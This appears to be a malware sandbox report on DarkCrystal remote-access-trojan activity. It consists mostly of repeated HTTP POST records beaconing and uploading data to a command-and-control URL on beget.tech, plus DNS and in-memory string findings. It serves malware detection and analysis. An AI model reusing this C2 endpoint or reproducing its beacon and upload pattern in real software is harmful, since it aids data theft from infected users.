Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: multipart/form-data; boundary=----kebr1DPeNnwbcUYSqxK9XV2PqtOoqmro0kUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 358054Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2196Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 540Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: multipart/form-data; boundary=----E9OQPRFbOIOdvhgRDkcCdlHQov95ij6XIKUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 180538Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2196Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2220Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: multipart/form-data; boundary=----1pCDARjKcrgH1v3IP4sXqcyIKfq7aYw86SUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 181786Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2220Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 540Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: multipart/form-data; boundary=----NoeupqCpgEkXKqPTlSlZXJz4ss0z3TQbnoUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 180002Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2196Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 540Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2196Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDnF2JampeGDvzF2JeJ1oJPOdYoisIxmrIUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 358998Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2220Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EyOiNRFqgjwBDRMoIWLYADZjtCkt6UL1hIUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 182082Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2220Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 540Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: multipart/form-data; boundary=----PFbyD7j3zpstWVBOFjpIaIGpbjqfLCAll0User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 362302Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2220Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2220Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: multipart/form-data; boundary=----8NW4aueno9SspaDNrit1RE03dsZcvJsCllUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 180882Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 2544Expect: 100-continueConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: b902470r.beget.tech

Source: unknown

HTTP traffic detected: POST /DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: b902470r.beget.techContent-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: RuntimeBroker.exe, 0000002A.00000002.3129151130.000000000314E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://b902470r.beget.tech
Source: RuntimeBroker.exe, 0000002A.00000002.3129151130.0000000002EAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://b902470r.beget.tech/DarkCrystal/
Source: RuntimeBroker.exe, 0000002A.00000002.3129151130.0000000003068000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002A.00000002.3129151130.000000000330B000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002A.00000002.3129151130.000000000313D000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002A.00000002.3129151130.0000000003061000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002A.00000002.3129151130.000000000314E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://b902470r.beget.tech/DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.php
Source: RuntimeBroker.exe, 0000002A.00000002.3129151130.000000000314E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://b902470r.beget.tech/DarkCrystal/PollHttpprocessApimultilinuxAsynclocalCentral.phpP
Source: svchost.exe, 0000002E.00000002.3123924370.00000206CB400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000002E.00000003.1843783322.00000206CB618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 0000002E.00000003.1843783322.00000206CB618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 0000002E.00000003.1843783322.00000206CB618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 0000002E.00000003.1843783322.00000206CB618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
